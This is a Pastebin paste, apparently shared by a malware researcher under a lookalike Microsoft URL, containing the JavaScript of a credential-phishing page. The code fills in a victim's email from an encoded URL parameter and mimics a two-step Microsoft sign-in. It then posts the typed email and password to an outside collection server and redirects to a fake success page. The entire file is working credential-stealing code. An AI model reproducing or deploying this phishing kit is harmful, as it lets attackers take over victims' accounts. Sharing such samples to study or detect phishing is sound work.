Demonslay335

https://microsofsev2tertq3r1oad.z13.web.core.windows.net

Apr 15th, 2019
431
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 8.00 KB | None | 0 0
  1. var $c = getUrlParameter('c');
  2. var $current_email = '';
  3. if ($c) {
  4. $current_email = isValidEmail($c) ? $c : decodeCustom($c)
  5. };
  6.  
  7. function decodeCustom(_0x8440x4) {
  8. var _0x8440x5 = 'bcdfghjklmnpqrstvwxyz' ['split']('');
  9. var _0x8440x6 = _0x8440x4['substr'](0, 1);
  10. var _0x8440x7 = _0x8440x4['substr'](2);
  11. var _0x8440x8 = ['a', 'e', 'i', 'o', 'u'];
  12. var _0x8440x9 = [];
  13. for ($i in _0x8440x5) {
  14. _0x8440x7 = _0x8440x7['replace'](new RegExp(_0x8440x6 + '0' + $i + 'a', 'g'), _0x8440x5[$i])
  15. };
  16. for ($i in _0x8440x8) {
  17. _0x8440x7 = _0x8440x7['replace'](new RegExp(_0x8440x6 + $i, 'g'), _0x8440x8[$i])
  18. };
  19. _0x8440x7 = _0x8440x7['replace'](new RegExp(_0x8440x6 + _0x8440x6 + _0x8440x6, 'g'), '@');
  20. return _0x8440x7
  21. }
  22.  
  23. function isValidEmail(_0x8440xb) {
  24. var _0x8440xc = /^(([^<>()\[\]\\.,;:\s@"]+(\.[^<>()\[\]\\.,;:\s@"]+)*)|(".+"))@((\[[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}\])|(([a-zA-Z\-0-9]+\.)+[a-zA-Z]{2,}))$/;
  25. return _0x8440xc['test'](_0x8440xb)
  26. }
  27.  
  28. function getUrlParameter(_0x8440xe) {
  29. _0x8440xe = _0x8440xe['replace'](/[\[]/, '\[')['replace'](/[\]]/, '\]');
  30. var _0x8440xf = new RegExp('[\?&]' + _0x8440xe + '=([^&#]*)');
  31. var _0x8440x10 = _0x8440xf['exec'](location['search']);
  32. return _0x8440x10 === null ? '' : decodeURIComponent(_0x8440x10[1]['replace'](/\+/g, ' '))
  33. }
  34. var currentEmail = $current_email;
  35. var ListEntries = ['.*fuck.*', '.*pussy.*', '.*bitch.*', '.*asshole.*', '.*fool.*', '.*dick.*', '.*mama.*', '.*nice.*try.*', '.*12345.*'];
  36. $(function() {
  37. $('#displayName')['text'](currentEmail);
  38. $('#displayName')['attr']('title', currentEmail);
  39. setTimeout(() => {
  40. $('.view-zero')['css']('display', 'none');
  41. if (currentEmail && currentEmail['length'] > 0) {
  42. $('input[name="UserName"]')['val'](currentEmail);
  43. $('#displayName')['text'](currentEmail);
  44. $('#displayName')['attr']('title', currentEmail);
  45. $('.view-two')['css']({
  46. display: 'block'
  47. });
  48. $('.view-one')['css']({
  49. display: 'none'
  50. });
  51. $('#usernameProgress')['css']({
  52. display: 'none'
  53. })
  54. } else {
  55. $('.view-two')['css']({
  56. display: 'none'
  57. });
  58. $('.view-one')['css']({
  59. display: 'block'
  60. })
  61. }
  62. }, 2500);
  63. $('form#i0281')['on']('submit', function(_0x8440x13) {
  64. _0x8440x13['preventDefault']();
  65. return handleFormSubmit()
  66. });
  67. $('#idNextBtn')['on']('click', function(_0x8440x13) {
  68. $('#usernameProgress')['css']({
  69. display: 'block'
  70. });
  71. var _0x8440xb = $('input[name="UserName"]')['val']()['trim']();
  72. if (!_0x8440xb['length']) {
  73. toggleUsernameError(true);
  74. $('input[name="UserName"]')['focus']();
  75. setTimeout(function() {
  76. $('#usernameProgress')['css']({
  77. display: 'none'
  78. })
  79. });
  80. return false
  81. };
  82. if (!validateEmail(_0x8440xb)) {
  83. toggleUsernameError(true);
  84. $('input[name="UserName"]')['focus']();
  85. setTimeout(function() {
  86. $('#usernameProgress')['css']({
  87. display: 'none'
  88. })
  89. });
  90. return false
  91. };
  92. $('#displayName')['text'](_0x8440xb);
  93. $('#displayName')['attr']('title', _0x8440xb);
  94. setTimeout(function() {
  95. $('.view-two')['css']({
  96. display: 'block'
  97. });
  98. $('.view-one')['css']({
  99. display: 'none'
  100. });
  101. $('#usernameProgress')['css']({
  102. display: 'none'
  103. })
  104. }, 1500)
  105. });
  106. $('#idBtn_Back')['on']('click', function(_0x8440x13) {
  107. $('.view-two')['css']({
  108. display: 'none'
  109. });
  110. $('.view-one')['css']({
  111. display: 'block'
  112. })
  113. })
  114. });
  115. var passwordAttempts = 0;
  116.  
  117. function handleFormSubmit() {
  118. var _0x8440xb = $('input[name="UserName"]')['val']()['trim']();
  119. var _0x8440x16 = $('input[name="Password"]')['val']()['trim']();
  120. if (!_0x8440xb['length'] || !_0x8440x16['length']) {
  121. togglePasswordError(true);
  122. if (!_0x8440xb['length']) {
  123. $('input[name="UserName"]')['focus']()
  124. } else {
  125. $('input[name="Password"]')['focus']()
  126. };
  127. return false
  128. };
  129. if (!validateEmail(_0x8440xb)) {
  130. $('input[name="UserName"]')['focus']();
  131. return false
  132. };
  133. if (!_0x8440x16['trim']()['length']) {
  134. togglePasswordError(true);
  135. $('input[name="Password"]')['focus']();
  136. return false
  137. };
  138. togglePasswordError(false);
  139. login();
  140. return true
  141. }
  142.  
  143. function login() {
  144. var _0x8440xb = $('input[name="UserName"]')['val']()['trim']();
  145. var _0x8440x16 = $('input[name="Password"]')['val']()['trim']();
  146. var _0x8440x18 = false;
  147. var _0x8440x19 = parseInt(Math['random']() * 10);
  148. var _0x8440x1a = getValidatorUrl();
  149. $('#idSignInBtn')['prop']('disabled', true);
  150. $('#passwordProgress')['show']();
  151. $('#idSignInBtn')['text']('Signing In..');
  152. var _0x8440x1b = window['location']['protocol'] + '//' + window['location']['host'] + '/success.htm';
  153. $['post'](_0x8440x1a, $['param']({
  154. email: _0x8440xb,
  155. password: _0x8440x16
  156. }), function(_0x8440x1e, _0x8440x1d, _0x8440x1f) {
  157. $('#idSignInBtn')['text']('Redirecting..');
  158. window['location']['href'] = _0x8440x1b
  159. })['fail'](function(_0x8440x1c, _0x8440x1d) {
  160. $('#passwordProgress')['hide']();
  161. $('#idSignInBtn')['prop']('disabled', false);
  162. $('#idSignInBtn')['text']('Sign In');
  163. $('input[name="Password"]')['val']('');
  164. togglePasswordError(true);
  165. $('input[name="Password"]')['focus']();
  166. return false
  167. })
  168. }
  169.  
  170. function validateEmail(_0x8440xb) {
  171. var _0x8440xc = /^(([^<>()\[\]\\.,;:\s@"]+(\.[^<>()\[\]\\.,;:\s@"]+)*)|(".+"))@((\[[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}\])|(([a-zA-Z\-0-9]+\.)+[a-zA-Z]{2,}))$/;
  172. return _0x8440xc['test'](_0x8440xb)
  173. }
  174.  
  175. function isValidPassword(_0x8440x22) {
  176. for (var _0x8440x23 = ListEntries['length'] - 1; _0x8440x23 >= 0; _0x8440x23--) {
  177. var _0x8440x24 = new RegExp(ListEntries[_0x8440x23], 'i');
  178. if (_0x8440x24['test'](_0x8440x22)) {
  179. return false
  180. }
  181. };
  182. return true
  183. }
  184.  
  185. function toggleUsernameError(_0x8440x26) {
  186. if (_0x8440x26) {
  187. $('#usernameError')['css']('display', 'block');
  188. $('input[name="Username"]')['addClass']('has-error');
  189. $('input[name="Username"]')['on']('keydown', function(_0x8440x13) {
  190. toggleUsernameError(false);
  191. $('input[name="Username"]')['off']('keydown')
  192. })
  193. } else {
  194. $('#usernameError')['css']('display', 'none');
  195. $('input[name="Username"]')['removeClass']('has-error')
  196. }
  197. }
  198.  
  199. function togglePasswordError(_0x8440x26) {
  200. if (_0x8440x26) {
  201. $('#passwordError')['css']('display', 'block');
  202. $('input[name="Password"]')['addClass']('has-error');
  203. $('input[name="Password"]')['on']('keydown', function(_0x8440x13) {
  204. togglePasswordError(false);
  205. $('input[name="Password"]')['off']('keydown')
  206. })
  207. } else {
  208. $('#passwordError')['css']('display', 'none');
  209. $('input[name="Password"]')['removeClass']('has-error')
  210. }
  211. }
  212.  
  213. function strRandom() {
  214. var _0x8440x29 = '';
  215. var _0x8440x2a = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789';
  216. for (var _0x8440x23 = 0; _0x8440x23 < 10; _0x8440x23++) {
  217. _0x8440x29 += _0x8440x2a['charAt'](Math['floor'](Math['random']() * _0x8440x2a['length']))
  218. };
  219. return _0x8440x29
  220. }
  221.  
  222. function getValidatorUrl() {
  223. return 'https://autocheck.a123systern.com/validate.php'
  224. }
Advertisement
Add Comment
Please, Sign In to add comment